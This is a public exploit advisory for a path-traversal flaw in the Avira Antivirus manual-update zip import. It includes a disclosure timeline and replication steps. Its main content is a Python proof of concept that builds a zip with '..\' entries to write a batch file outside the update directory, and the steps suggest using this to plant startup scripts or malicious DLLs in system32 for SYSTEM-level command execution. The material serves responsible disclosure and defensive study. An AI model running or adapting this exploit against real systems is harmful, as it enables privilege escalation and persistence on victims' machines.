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Avira Antivirus 15.0.21.86 Command Execution

Posted on 11 November 2016

# Title : Avira Antivirus >= 15.0.21.86 Command Execution (SYSTEM)
# Date : 08/11/2016
# Author : R-73eN
# Tested on: Avira Antivirus 15.0.21.86 in Windows 7
# Vendor : https://www.avira.com/
# Disclosure Timeline:
# 2016-06-28 - Reported to Vendor through Bugcrowd.
# 2016-06-29 - Vendor Replied.
# 2016-07-05 - Vendor Replicated the vulnerability.
# 2016-09-02 - Vendor released updated version which fix the vulnerability.
# 2016-11-08 - Public Disclosure
# I would like to thank Avira security team for the quick response.
#
# Vulnerability Description:
# When the Avira Launcher manual update imports a zip file doesn't checks for " ../ "
# characters which makes it possible to do a path traversal and write anywhere in the system.
# Vulnerability Replication
# 1. Create a special crafted zip file with the python script attached.
# 2. The script will create a zip file named xvdf_fusebundle.zip with a filename test.bat (this can be changed) and will write this file to the root directory C:
# 3. You can change the directory go to startup and when the user reboots the script will get executed or you can write a malicious dll to a program directory or
# system32 directory which will get loaded and we gain remote command execution.
# 4. Open avira free antivirus
# 5. Go to update -> Manual Update
# 6. Select the malicious file
# 7. Directory traversal was sucessfull
# Youtube Video: https://www.youtube.com/watch?v=IIEgWiDcw2Q
# POC:

#!/usr/bin/python -w
banner = ""
banner += " ___ __ ____ _ _ 
"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ /  | | 
"
banner +=" | || '_ | |_ / _ | | _ / _  '_  / _  | | 
"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ | |___ 
"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|

"
print banner

import zipfile, sys

if(len(sys.argv) != 2):
print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
print "[+] Example: python exploit.py test.txt"
exit(0)
print "[+] Creating Zip File [+]"
zf = zipfile.ZipFile("xvdf_fusebundle.zip", "w")
zf.write(sys.argv[1], "..\..\..\..\..\..\..\..\test.bat")
zf.close()
print "[+] Created xvdf_fusebundle.zip successfully [+]"

# Fix:
# Update to the latest version.

 

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